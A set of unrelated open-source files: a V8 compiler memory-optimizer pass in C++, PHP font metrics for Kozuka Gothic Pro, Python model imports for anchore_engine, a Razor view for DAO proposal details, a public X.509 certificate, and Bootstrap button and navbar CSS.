// Copyright 2016 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "src/compiler/memory-optimizer.h" #include "src/codegen/interface-descriptors.h" #include "src/codegen/tick-counter.h" #include "src/compiler/js-graph.h" #include "src/compiler/linkage.h" #include "src/compiler/node-matchers.h" #include "src/compiler/node-properties.h" #include "src/compiler/node.h" #include "src/roots/roots-inl.h" namespace v8 { namespace internal { namespace compiler { namespace { bool CanAllocate(const Node* node) { switch (node->opcode()) { case IrOpcode::kAbortCSAAssert: case IrOpcode::kBitcastTaggedToWord: case IrOpcode::kBitcastWordToTagged: case IrOpcode::kComment: case IrOpcode::kDebugBreak: case IrOpcode::kDeoptimizeIf: case IrOpcode::kDeoptimizeUnless: case IrOpcode::kEffectPhi: case IrOpcode::kIfException: case IrOpcode::kLoad: case IrOpcode::kLoadElement: case IrOpcode::kLoadField: case IrOpcode::kLoadFromObject: case IrOpcode::kPoisonedLoad: case IrOpcode::kProtectedLoad: case IrOpcode::kProtectedStore: case IrOpcode::kRetain: case IrOpcode::kStackPointerGreaterThan: case IrOpcode::kStaticAssert: // TODO(tebbi): Store nodes might do a bump-pointer allocation. // We should introduce a special bump-pointer store node to // differentiate that. case IrOpcode::kStore: case IrOpcode::kStoreElement: case IrOpcode::kStoreField: case IrOpcode::kStoreToObject: case IrOpcode::kTaggedPoisonOnSpeculation: case IrOpcode::kUnalignedLoad: case IrOpcode::kUnalignedStore: case IrOpcode::kUnreachable: case IrOpcode::kUnsafePointerAdd: case IrOpcode::kWord32AtomicAdd: case IrOpcode::kWord32AtomicAnd: case IrOpcode::kWord32AtomicCompareExchange: case IrOpcode::kWord32AtomicExchange: case IrOpcode::kWord32AtomicLoad: case IrOpcode::kWord32AtomicOr: case IrOpcode::kWord32AtomicPairAdd: case IrOpcode::kWord32AtomicPairAnd: case IrOpcode::kWord32AtomicPairCompareExchange: case IrOpcode::kWord32AtomicPairExchange: case IrOpcode::kWord32AtomicPairLoad: case IrOpcode::kWord32AtomicPairOr: case IrOpcode::kWord32AtomicPairStore: case IrOpcode::kWord32AtomicPairSub: case IrOpcode::kWord32AtomicPairXor: case IrOpcode::kWord32AtomicStore: case IrOpcode::kWord32AtomicSub: case IrOpcode::kWord32AtomicXor: case IrOpcode::kWord32PoisonOnSpeculation: case IrOpcode::kWord64AtomicAdd: case IrOpcode::kWord64AtomicAnd: case IrOpcode::kWord64AtomicCompareExchange: case IrOpcode::kWord64AtomicExchange: case IrOpcode::kWord64AtomicLoad: case IrOpcode::kWord64AtomicOr: case IrOpcode::kWord64AtomicStore: case IrOpcode::kWord64AtomicSub: case IrOpcode::kWord64AtomicXor: case IrOpcode::kWord64PoisonOnSpeculation: return false; case IrOpcode::kCall: return !(CallDescriptorOf(node->op())->flags() & CallDescriptor::kNoAllocate); default: break; } return true; } Node* SearchAllocatingNode(Node* start, Node* limit, Zone* temp_zone) { ZoneQueue<Node*> queue(temp_zone); ZoneSet<Node*> visited(temp_zone); visited.insert(limit); queue.push(start); while (!queue.empty()) { Node* const current = queue.front(); queue.pop(); if (visited.find(current) == visited.end()) { visited.insert(current); if (CanAllocate(current)) { return current; } for (int i = 0; i < current->op()->EffectInputCount(); ++i) { queue.push(NodeProperties::GetEffectInput(current, i)); } } } return nullptr; } bool CanLoopAllocate(Node* loop_effect_phi, Zone* temp_zone) { Node* const control = NodeProperties::GetControlInput(loop_effect_phi); // Start the effect chain walk from the loop back edges. for (int i = 1; i < control->InputCount(); ++i) { if (SearchAllocatingNode(loop_effect_phi->InputAt(i), loop_effect_phi, temp_zone) != nullptr) { return true; } } return false; } Node* EffectPhiForPhi(Node* phi) { Node* control = NodeProperties::GetControlInput(phi); for (Node* use : control->uses()) { if (use->opcode() == IrOpcode::kEffectPhi) { return use; } } return nullptr; } void WriteBarrierAssertFailed(Node* node, Node* object, const char* name, Zone* temp_zone) { std::stringstream str; str << "MemoryOptimizer could not remove write barrier for node #" << node->id() << "\n"; str << " Run mksnapshot with --csa-trap-on-node=" << name << "," << node->id() << " to break in CSA code.\n"; Node* object_position = object; if (object_position->opcode() == IrOpcode::kPhi) { object_position = EffectPhiForPhi(object_position); } Node* allocating_node = nullptr; if (object_position && object_position->op()->EffectOutputCount() > 0) { allocating_node = SearchAllocatingNode(node, object_position, temp_zone); } if (allocating_node) { str << "\n There is a potentially allocating node in between:\n"; str << " " << *allocating_node << "\n"; str << " Run mksnapshot with --csa-trap-on-node=" << name << "," << allocating_node->id() << " to break there.\n"; if (allocating_node->opcode() == IrOpcode::kCall) { str << " If this is a never-allocating runtime call, you can add an " "exception to Runtime::MayAllocate.\n"; } } else { str << "\n It seems the store happened to something different than a " "direct " "allocation:\n"; str << " " << *object << "\n"; str << " Run mksnapshot with --csa-trap-on-node=" << name << "," << object->id() << " to break there.\n"; } FATAL("%s", str.str().c_str()); } } // namespace MemoryOptimizer::MemoryOptimizer( JSGraph* jsgraph, Zone* zone, PoisoningMitigationLevel poisoning_level, MemoryLowering::AllocationFolding allocation_folding, const char* function_debug_name, TickCounter* tick_counter) : graph_assembler_(jsgraph, zone), memory_lowering_(jsgraph, zone, &graph_assembler_, poisoning_level, allocation_folding, WriteBarrierAssertFailed, function_debug_name), jsgraph_(jsgraph), empty_state_(AllocationState::Empty(zone)), pending_(zone), tokens_(zone), zone_(zone), tick_counter_(tick_counter) {} void MemoryOptimizer::Optimize() { EnqueueUses(graph()->start(), empty_state()); while (!tokens_.empty()) { Token const token = tokens_.front(); tokens_.pop(); VisitNode(token.node, token.state); } DCHECK(pending_.empty()); DCHECK(tokens_.empty()); } void MemoryOptimizer::VisitNode(Node* node, AllocationState const* state) { tick_counter_->DoTick(); DCHECK(!node->IsDead()); DCHECK_LT(0, node->op()->EffectInputCount()); switch (node->opcode()) { case IrOpcode::kAllocate: // Allocate nodes were purged from the graph in effect-control // linearization. UNREACHABLE(); case IrOpcode::kAllocateRaw: return VisitAllocateRaw(node, state); case IrOpcode::kCall: return VisitCall(node, state); case IrOpcode::kLoadFromObject: return VisitLoadFromObject(node, state); case IrOpcode::kLoadElement: return VisitLoadElement(node, state); case IrOpcode::kLoadField: return VisitLoadField(node, state); case IrOpcode::kStoreToObject: return VisitStoreToObject(node, state); case IrOpcode::kStoreElement: return VisitStoreElement(node, state); case IrOpcode::kStoreField: return VisitStoreField(node, state); case IrOpcode::kStore: return VisitStore(node, state); default: if (!CanAllocate(node)) { // These operations cannot trigger GC. return VisitOtherEffect(node, state); } } DCHECK_EQ(0, node->op()->EffectOutputCount()); } bool MemoryOptimizer::AllocationTypeNeedsUpdateToOld(Node* const node, const Edge edge) { // Test to see if we need to update the AllocationType. if (node->opcode() == IrOpcode::kStoreField && edge.index() == 1) { Node* parent = node->InputAt(0); if (parent->opcode() == IrOpcode::kAllocateRaw && AllocationTypeOf(parent->op()) == AllocationType::kOld) { return true; } } return false; } void MemoryOptimizer::VisitAllocateRaw(Node* node, AllocationState const* state) { DCHECK_EQ(IrOpcode::kAllocateRaw, node->opcode()); const AllocateParameters& allocation = AllocateParametersOf(node->op()); AllocationType allocation_type = allocation.allocation_type(); // Propagate tenuring from outer allocations to inner allocations, i.e. // when we allocate an object in old space and store a newly allocated // child object into the pretenured object, then the newly allocated // child object also should get pretenured to old space. if (allocation_type == AllocationType::kOld) { for (Edge const edge : node->use_edges()) { Node* const user = edge.from(); if (user->opcode() == IrOpcode::kStoreField && edge.index() == 0) { Node* child = user->InputAt(1); if (child->opcode() == IrOpcode::kAllocateRaw && AllocationTypeOf(child->op()) == AllocationType::kYoung) { NodeProperties::ChangeOp(child, node->op()); break; } } } } else { DCHECK_EQ(AllocationType::kYoung, allocation_type); for (Edge const edge : node->use_edges()) { Node* const user = edge.from(); if (AllocationTypeNeedsUpdateToOld(user, edge)) { allocation_type = AllocationType::kOld; break; } } } Reduction reduction = memory_lowering()->ReduceAllocateRaw( node, allocation_type, allocation.allow_large_objects(), &state); CHECK(reduction.Changed() && reduction.replacement() != node); // Replace all uses of node and kill the node to make sure we don't leave // dangling dead uses. NodeProperties::ReplaceUses(node, reduction.replacement(), graph_assembler_.effect(), graph_assembler_.control()); node->Kill(); EnqueueUses(state->effect(), state); } void MemoryOptimizer::VisitLoadFromObject(Node* node, AllocationState const* state) { DCHECK_EQ(IrOpcode::kLoadFromObject, node->opcode()); memory_lowering()->ReduceLoadFromObject(node); EnqueueUses(node, state); } void MemoryOptimizer::VisitStoreToObject(Node* node, AllocationState const* state) { DCHECK_EQ(IrOpcode::kStoreToObject, node->opcode()); memory_lowering()->ReduceStoreToObject(node, state); EnqueueUses(node, state); } void MemoryOptimizer::VisitLoadElement(Node* node, AllocationState const* state) { DCHECK_EQ(IrOpcode::kLoadElement, node->opcode()); memory_lowering()->ReduceLoadElement(node); EnqueueUses(node, state); } void MemoryOptimizer::VisitLoadField(Node* node, AllocationState const* state) { DCHECK_EQ(IrOpcode::kLoadField, node->opcode()); memory_lowering()->ReduceLoadField(node); EnqueueUses(node, state); } void MemoryOptimizer::VisitStoreElement(Node* node, AllocationState const* state) { DCHECK_EQ(IrOpcode::kStoreElement, node->opcode()); memory_lowering()->ReduceStoreElement(node, state); EnqueueUses(node, state); } void MemoryOptimizer::VisitStoreField(Node* node, AllocationState const* state) { DCHECK_EQ(IrOpcode::kStoreField, node->opcode()); memory_lowering()->ReduceStoreField(node, state); EnqueueUses(node, state); } void MemoryOptimizer::VisitStore(Node* node, AllocationState const* state) { DCHECK_EQ(IrOpcode::kStore, node->opcode()); memory_lowering()->ReduceStore(node, state); EnqueueUses(node, state); } void MemoryOptimizer::VisitCall(Node* node, AllocationState const* state) { DCHECK_EQ(IrOpcode::kCall, node->opcode()); // If the call can allocate, we start with a fresh state. if (!(CallDescriptorOf(node->op())->flags() & CallDescriptor::kNoAllocate)) { state = empty_state(); } EnqueueUses(node, state); } void MemoryOptimizer::VisitOtherEffect(Node* node, AllocationState const* state) { EnqueueUses(node, state); } MemoryOptimizer::AllocationState const* MemoryOptimizer::MergeStates( AllocationStates const& states) { // Check if all states are the same; or at least if all allocation // states belong to the same allocation group. AllocationState const* state = states.front(); MemoryLowering::AllocationGroup* group = state->group(); for (size_t i = 1; i < states.size(); ++i) { if (states[i] != state) state = nullptr; if (states[i]->group() != group) group = nullptr; } if (state == nullptr) { if (group != nullptr) { // We cannot fold any more allocations into this group, but we can still // eliminate write barriers on stores to this group. // TODO(bmeurer): We could potentially just create a Phi here to merge // the various tops; but we need to pay special attention not to create // an unschedulable graph. state = AllocationState::Closed(group, nullptr, zone()); } else { // The states are from different allocation groups. state = empty_state(); } } return state; } void MemoryOptimizer::EnqueueMerge(Node* node, int index, AllocationState const* state) { DCHECK_EQ(IrOpcode::kEffectPhi, node->opcode()); int const input_count = node->InputCount() - 1; DCHECK_LT(0, input_count); Node* const control = node->InputAt(input_count); if (control->opcode() == IrOpcode::kLoop) { if (index == 0) { if (CanLoopAllocate(node, zone())) { // If the loop can allocate, we start with an empty state at the // beginning. EnqueueUses(node, empty_state()); } else { // If the loop cannot allocate, we can just propagate the state from // before the loop. EnqueueUses(node, state); } } else { // Do not revisit backedges. } } else { DCHECK_EQ(IrOpcode::kMerge, control->opcode()); // Check if we already know about this pending merge. NodeId const id = node->id(); auto it = pending_.find(id); if (it == pending_.end()) { // Insert a new pending merge. it = pending_.insert(std::make_pair(id, AllocationStates(zone()))).first; } // Add the next input state. it->second.push_back(state); // Check if states for all inputs are available by now. if (it->second.size() == static_cast<size_t>(input_count)) { // All inputs to this effect merge are done, merge the states given all // input constraints, drop the pending merge and enqueue uses of the // EffectPhi {node}. state = MergeStates(it->second); EnqueueUses(node, state); pending_.erase(it); } } } void MemoryOptimizer::EnqueueUses(Node* node, AllocationState const* state) { for (Edge const edge : node->use_edges()) { if (NodeProperties::IsEffectEdge(edge)) { EnqueueUse(edge.from(), edge.index(), state); } } } void MemoryOptimizer::EnqueueUse(Node* node, int index, AllocationState const* state) { if (node->opcode() == IrOpcode::kEffectPhi) { // An EffectPhi represents a merge of different effect chains, which // needs special handling depending on whether the merge is part of a // loop or just a normal control join. EnqueueMerge(node, index, state); } else { Token token = {node, state}; tokens_.push(token); } } Graph* MemoryOptimizer::graph() const { return jsgraph()->graph(); } } // namespace compiler } // namespace internal } // namespace v8
{ "pile_set_name": "Github" }
<?php $type = 'cidfont0'; $name = 'KozGoPro-Medium-Acro'; $displayname = 'Kozuka Gothic Pro (Japanese Sans-Serif)'; $desc = array( 'Ascent' => 880, 'Descent' => -120, 'CapHeight' => 763, 'Flags' => 4, 'FontBBox' => '[-149 -374 1254 1008]', 'ItalicAngle' => 0, 'StemV' => 99, 'Style' => '<< /Panose <0000020b0700000000000000> >>', 'XHeight' => 549, ); $cidinfo = array( 'Registry' => 'Adobe', 'Ordering' => 'Japan1', 'Supplement' => '4', ); $enc = 'UniJIS-UCS2-H'; // underline position, needs checking: $up = -75; $ut = 50; $dw = 1000; $cw = array( 32 => 224, 33 => 266, 34 => 392, 35 => 551, 36 => 562, 37 => 883, 38 => 677, 39 => 213, 40 => 322, 41 => 322, 42 => 470, 43 => 677, 44 => 247, 45 => 343, 46 => 245, 47 => 370, 48 => 562, 49 => 562, 50 => 562, 51 => 562, 52 => 562, 53 => 562, 54 => 562, 55 => 562, 56 => 562, 57 => 562, 58 => 245, 59 => 247, 60 => 677, 61 => 677, 62 => 677, 63 => 447, 64 => 808, 65 => 661, 66 => 602, 67 => 610, 68 => 708, 69 => 535, 70 => 528, 71 => 689, 72 => 703, 73 => 275, 74 => 404, 75 => 602, 76 => 514, 77 => 871, 78 => 708, 79 => 727, 80 => 585, 81 => 727, 82 => 595, 83 => 539, 84 => 541, 85 => 696, 86 => 619, 87 => 922, 88 => 612, 89 => 591, 90 => 584, 91 => 322, 92 => 562, 93 => 322, 94 => 677, 95 => 568, 96 => 340, 97 => 532, 98 => 612, 99 => 475, 100 => 608, 101 => 543, 102 => 332, 103 => 603, 104 => 601, 105 => 265, 106 => 276, 107 => 524, 108 => 264, 109 => 901, 110 => 601, 111 => 590, 112 => 612, 113 => 607, 114 => 367, 115 => 433, 116 => 369, 117 => 597, 118 => 527, 119 => 800, 120 => 511, 121 => 518, 122 => 468, 123 => 321, 124 => 273, 125 => 321, 126 => 341, 127 => 241, 128 => 362, 129 => 241, 130 => 273, 131 => 677, 132 => 266, 133 => 562, 134 => 562, 135 => 456, 136 => 562, 137 => 571, 138 => 562, 139 => 416, 140 => 472, 141 => 283, 142 => 283, 143 => 587, 144 => 588, 145 => 568, 146 => 545, 147 => 545, 148 => 247, 149 => 561, 150 => 330, 151 => 239, 152 => 418, 153 => 416, 154 => 472, 155 => 1136, 156 => 1288, 157 => 447, 158 => 340, 159 => 340, 160 => 340, 161 => 340, 162 => 340, 163 => 340, 164 => 455, 165 => 340, 166 => 340, 167 => 340, 168 => 340, 169 => 1136, 170 => 857, 171 => 384, 172 => 519, 173 => 727, 174 => 952, 175 => 398, 176 => 834, 177 => 264, 178 => 275, 179 => 590, 180 => 918, 181 => 605, 182 => 677, 183 => 769, 184 => 677, 185 => 473, 186 => 361, 187 => 677, 188 => 347, 189 => 340, 190 => 599, 191 => 284, 192 => 845, 193 => 845, 194 => 845, 195 => 661, 196 => 661, 197 => 661, 198 => 661, 199 => 661, 200 => 661, 201 => 610, 202 => 535, 203 => 535, 204 => 535, 205 => 535, 206 => 275, 207 => 275, 208 => 275, 209 => 275, 210 => 715, 211 => 708, 212 => 727, 213 => 727, 214 => 727, 215 => 727, 216 => 727, 217 => 677, 218 => 696, 219 => 696, 220 => 696, 221 => 696, 222 => 591, 223 => 584, 224 => 532, 225 => 532, 226 => 532, 227 => 532, 228 => 532, 229 => 532, 230 => 475, 231 => 543, 232 => 543, 233 => 543, 234 => 543, 235 => 264, 236 => 264, 237 => 264, 238 => 264, 239 => 584, 240 => 601, 241 => 590, 242 => 590, 243 => 590, 244 => 590, 245 => 590, 246 => 677, 247 => 597, 248 => 597, 249 => 597, 250 => 597, 251 => 518, 252 => 612, 253 => 518, 254 => 539, 255 => 591, 256 => 584, 257 => 446, 258 => 433, 259 => 683, 260 => 468, 261 => 562, ); $_cr = array( array(231, 632, 500), // half-width array(8718, 8718, 500), array(9738, 9757, 250), // quarter-width array(9758, 9778, 333), // third-width array(12063, 12087, 500) ); foreach($_cr as $_r) { for($i = $_r[0]; $i <= $_r[1]; $i++) { $cw[$i+31] = $_r[2]; } } // --- EOF ---
{ "pile_set_name": "Github" }
# coding: utf-8 # flake8: noqa # import models into model package from anchore_engine.services.policy_engine.api.models.distro_mapping import DistroMapping from anchore_engine.services.policy_engine.api.models.error_response import ErrorResponse from anchore_engine.services.policy_engine.api.models.event_status import EventStatus from anchore_engine.services.policy_engine.api.models.feed_group_metadata import FeedGroupMetadata from anchore_engine.services.policy_engine.api.models.feed_metadata import FeedMetadata from anchore_engine.services.policy_engine.api.models.feed_metadata_listing import FeedMetadataListing from anchore_engine.services.policy_engine.api.models.gate_spec import GateSpec from anchore_engine.services.policy_engine.api.models.image import Image from anchore_engine.services.policy_engine.api.models.image_ingress_request import ImageIngressRequest from anchore_engine.services.policy_engine.api.models.image_ingress_response import ImageIngressResponse from anchore_engine.services.policy_engine.api.models.image_policy_check_request import ImagePolicyCheckRequest from anchore_engine.services.policy_engine.api.models.image_ref import ImageRef from anchore_engine.services.policy_engine.api.models.image_selection_rule import ImageSelectionRule from anchore_engine.services.policy_engine.api.models.image_update_notification import ImageUpdateNotification from anchore_engine.services.policy_engine.api.models.image_vulnerability_listing import ImageVulnerabilityListing from anchore_engine.services.policy_engine.api.models.legacy_vulnerability_report import LegacyVulnerabilityReport from anchore_engine.services.policy_engine.api.models.legacy_vulnerability_report_multi import LegacyVulnerabilityReportMulti from anchore_engine.services.policy_engine.api.models.legacy_vulnerability_report_multi_result import LegacyVulnerabilityReportMultiResult from anchore_engine.services.policy_engine.api.models.mapping_rule import MappingRule from anchore_engine.services.policy_engine.api.models.policy import Policy from anchore_engine.services.policy_engine.api.models.policy_bundle import PolicyBundle from anchore_engine.services.policy_engine.api.models.policy_bundle_light import PolicyBundleLight from anchore_engine.services.policy_engine.api.models.policy_bundle_update_notification import PolicyBundleUpdateNotification from anchore_engine.services.policy_engine.api.models.policy_evaluation import PolicyEvaluation from anchore_engine.services.policy_engine.api.models.policy_evaluation_light import PolicyEvaluationLight from anchore_engine.services.policy_engine.api.models.policy_evaluation_problem import PolicyEvaluationProblem from anchore_engine.services.policy_engine.api.models.policy_rule import PolicyRule from anchore_engine.services.policy_engine.api.models.policy_rule_params import PolicyRuleParams from anchore_engine.services.policy_engine.api.models.policy_validation_response import PolicyValidationResponse from anchore_engine.services.policy_engine.api.models.table_style_result import TableStyleResult from anchore_engine.services.policy_engine.api.models.tag import Tag from anchore_engine.services.policy_engine.api.models.trigger_param_spec import TriggerParamSpec from anchore_engine.services.policy_engine.api.models.trigger_spec import TriggerSpec from anchore_engine.services.policy_engine.api.models.update_event import UpdateEvent from anchore_engine.services.policy_engine.api.models.vulnerability_listing import VulnerabilityListing from anchore_engine.services.policy_engine.api.models.whitelist import Whitelist from anchore_engine.services.policy_engine.api.models.whitelist_item import WhitelistItem
{ "pile_set_name": "Github" }
@model Nethereum.Web.Sample.ViewModels.ProposalViewModel @{ ViewBag.Title = "Proposal Detail"; Layout = "~/Views/Shared/_Layout.cshtml"; } <h2>Dao Proposal Detail</h2> <div> <hr /> <dl class="dl-horizontal"> <dt> @Html.DisplayNameFor(model => model.Index) </dt> <dd> @Html.DisplayFor(model => model.Index) </dd> <dt> @Html.DisplayNameFor(model => model.Recipient) </dt> <dd> @Html.DisplayFor(model => model.Recipient) </dd> <dt> @Html.DisplayNameFor(model => model.Amount) </dt> <dd> @Html.DisplayFor(model => model.Amount) </dd> <dt> @Html.DisplayNameFor(model => model.Description) </dt> <dd> @Html.DisplayFor(model => model.Description) </dd> <dt> @Html.DisplayNameFor(model => model.Open) </dt> <dd> @Html.DisplayFor(model => model.Open) </dd> <dt> @Html.DisplayNameFor(model => model.ProposalPassed) </dt> <dd> @Html.DisplayFor(model => model.ProposalPassed) </dd> <dt> @Html.DisplayNameFor(model => model.ProposalDeposit) </dt> <dd> @Html.DisplayFor(model => model.ProposalDeposit) </dd> <dt> @Html.DisplayNameFor(model => model.NewCurator) </dt> <dd> @Html.DisplayFor(model => model.NewCurator) </dd> <dt> @Html.DisplayNameFor(model => model.Yea) </dt> <dd> @Html.DisplayFor(model => model.Yea) </dd> <dt> @Html.DisplayNameFor(model => model.Nay) </dt> <dd> @Html.DisplayFor(model => model.Nay) </dd> <dt> @Html.DisplayNameFor(model => model.Creator) </dt> <dd> @Html.DisplayFor(model => model.Creator) </dd> </dl> </div> <p> @Html.ActionLink("Back to Dao Proposals", "DaoProposals") </p>
{ "pile_set_name": "Github" }
-----BEGIN CERTIFICATE----- MIID0TCCArmgAwIBAgIHBHMN4U/sBjANBgkqhkiG9w0BAQsFADCBnjELMAkGA1UE BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCUxvcyBHYXRvczEU MBIGA1UECgwLTmV0ZmxpeCBJbmMxLTArBgNVBAsMJFBsYXRmb3JtIFNlY3VyaXR5 ICgxMjUyNDAyOTY3MDQwMzU5KTEhMB8GA1UEAwwYSW50ZXJtZWRpYXRlIENBIGZv ciAxNjMyMB4XDTIwMDcxNDAzMjIyMloXDTIxMDcxNDAzMDk0NFowgY8xCzAJBgNV BAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRIwEAYDVQQHDAlMb3MgR2F0b3Mx FDASBgNVBAoMC05ldGZsaXggSW5jMS0wKwYDVQQLDCRQbGF0Zm9ybSBTZWN1cml0 eSAoMTI1MjQwMzM1ODcwODAyNykxEjAQBgNVBAMMCTEyNy4wLjAuMTCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBAK+eqg8M/RUe+TwA7VutpoFVwTnoaqf5 WBDphoVQhoeVy0OfRNqGRkENiiifVvTHFfv4pa1AtnTZjrRiO9i2/wf7gFE+qyWu apKo1nZswgtY5p1WFG9HlZQrZ9A7j9k5pBto3Osn/zfhayqTkw5/kGW4rKE5aUGL O2xQ8VmJf2ZOJVIlyxwrgyiBV5toHCRoWSTv/ZqSWiDHjD1qEjub0fXkjsp5Fzf4 zfxXnwLRoqtFE9Gm9j08qFjuNl++mCEjv8JS4Aenfhu6kCTJOGFQbDK7XIYyBONC 6r2lXxRLENMhpBJLEWSXiYZdOPtQl30c5zbsqIXr4PJIAXvQWTQ7em8CAwEAAaMh MB8wDAYDVR0TAQH/BAIwADAPBgNVHREECDAGhwSsEAABMA0GCSqGSIb3DQEBCwUA A4IBAQAa0T8mw6nQXQUbXleTqmY7VD3Tt2K59KZfgESUpKmtdQz140qVSc7pZlL0 g2+b8iCioUM/i957rY1tcXD25OIBRecZpff5eCO5ZPjuLqwPrwJ/jsDffzvfM73J JDs9JocBvwuhDtX1OWjD65aTpvu8ZQfa2fQ1lDWlZtQ7bxgyQX3J2bmGQSRXZu4o sgb7qo+b9O6YD49dFClmnt7H4iZzqCCVmJRhGPyrmu0RckYN3ChuHGg4aCYaTiOD knjFQDoECK9eWHyk3XrGfATHCD1Pq1pR87cZnLjZ1vrs4ARrhTYdnPm23E8CYhlU 0ZVnE8hsaw0QaSjfwe1T7hX1dQ7C -----END CERTIFICATE-----
{ "pile_set_name": "Github" }
.btn-default, .btn-primary, .btn-success, .btn-info, .btn-warning, .btn-danger { text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2); -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075); } .btn-default:active, .btn-primary:active, .btn-success:active, .btn-info:active, .btn-warning:active, .btn-danger:active, .btn-default.active, .btn-primary.active, .btn-success.active, .btn-info.active, .btn-warning.active, .btn-danger.active { -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); } .btn:active, .btn.active { background-image: none; } .btn-default { text-shadow: 0 1px 0 #fff; background-image: -webkit-gradient(linear, left 0%, left 100%, from(#ffffff), to(#e6e6e6)); background-image: -webkit-linear-gradient(top, #ffffff, 0%, #e6e6e6, 100%); background-image: -moz-linear-gradient(top, #ffffff 0%, #e6e6e6 100%); background-image: linear-gradient(to bottom, #ffffff 0%, #e6e6e6 100%); background-repeat: repeat-x; border-color: #e0e0e0; border-color: #ccc; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe6e6e6', GradientType=0); } .btn-default:active, .btn-default.active { background-color: #e6e6e6; border-color: #e0e0e0; } .btn-primary { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#428bca), to(#3071a9)); background-image: -webkit-linear-gradient(top, #428bca, 0%, #3071a9, 100%); background-image: -moz-linear-gradient(top, #428bca 0%, #3071a9 100%); background-image: linear-gradient(to bottom, #428bca 0%, #3071a9 100%); background-repeat: repeat-x; border-color: #2d6ca2; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff3071a9', GradientType=0); } .btn-primary:active, .btn-primary.active { background-color: #3071a9; border-color: #2d6ca2; } .btn-success { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#5cb85c), to(#449d44)); background-image: -webkit-linear-gradient(top, #5cb85c, 0%, #449d44, 100%); background-image: -moz-linear-gradient(top, #5cb85c 0%, #449d44 100%); background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%); background-repeat: repeat-x; border-color: #419641; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0); } .btn-success:active, .btn-success.active { background-color: #449d44; border-color: #419641; } .btn-warning { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#f0ad4e), to(#ec971f)); background-image: -webkit-linear-gradient(top, #f0ad4e, 0%, #ec971f, 100%); background-image: -moz-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%); background-repeat: repeat-x; border-color: #eb9316; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0); } .btn-warning:active, .btn-warning.active { background-color: #ec971f; border-color: #eb9316; } .btn-danger { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#d9534f), to(#c9302c)); background-image: -webkit-linear-gradient(top, #d9534f, 0%, #c9302c, 100%); background-image: -moz-linear-gradient(top, #d9534f 0%, #c9302c 100%); background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%); background-repeat: repeat-x; border-color: #c12e2a; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0); } .btn-danger:active, .btn-danger.active { background-color: #c9302c; border-color: #c12e2a; } .btn-info { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#5bc0de), to(#31b0d5)); background-image: -webkit-linear-gradient(top, #5bc0de, 0%, #31b0d5, 100%); background-image: -moz-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%); background-repeat: repeat-x; border-color: #2aabd2; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0); } .btn-info:active, .btn-info.active { background-color: #31b0d5; border-color: #2aabd2; } .thumbnail, .img-thumbnail { -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075); box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075); } .dropdown-menu > li > a:hover, .dropdown-menu > li > a:focus, .dropdown-menu > .active > a, .dropdown-menu > .active > a:hover, .dropdown-menu > .active > a:focus { background-color: #357ebd; background-image: -webkit-gradient(linear, left 0%, left 100%, from(#428bca), to(#357ebd)); background-image: -webkit-linear-gradient(top, #428bca, 0%, #357ebd, 100%); background-image: -moz-linear-gradient(top, #428bca 0%, #357ebd 100%); background-image: linear-gradient(to bottom, #428bca 0%, #357ebd 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff357ebd', GradientType=0); } .navbar { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#ffffff), to(#f8f8f8)); background-image: -webkit-linear-gradient(top, #ffffff, 0%, #f8f8f8, 100%); background-image: -moz-linear-gradient(top, #ffffff 0%, #f8f8f8 100%); background-image: linear-gradient(to bottom, #ffffff 0%, #f8f8f8 100%); background-repeat: repeat-x; border-radius: 4px; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0); -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 5px rgba(0, 0, 0, 0.075); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 5px rgba(0, 0, 0, 0.075); } .navbar .navbar-nav > .active > a { background-color: #f8f8f8; } .navbar-brand, .navbar-nav > li > a { text-shadow: 0 1px 0 rgba(255, 255, 255, 0.25); } .navbar-inverse { background-image: -webkit-gradient(linear, left 0%, left 100%, from(#3c3c3c), to(#222222)); background-image: -webkit-linear-gradient(top, #3c3c3c, 0%, #222222, 100%); background-image: -moz-linear-gradient(top, #3c3c3c 0%, #222222 100%); background-image: linear-gradient(to bottom, #3c3c3c 0%, #222222 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0); } 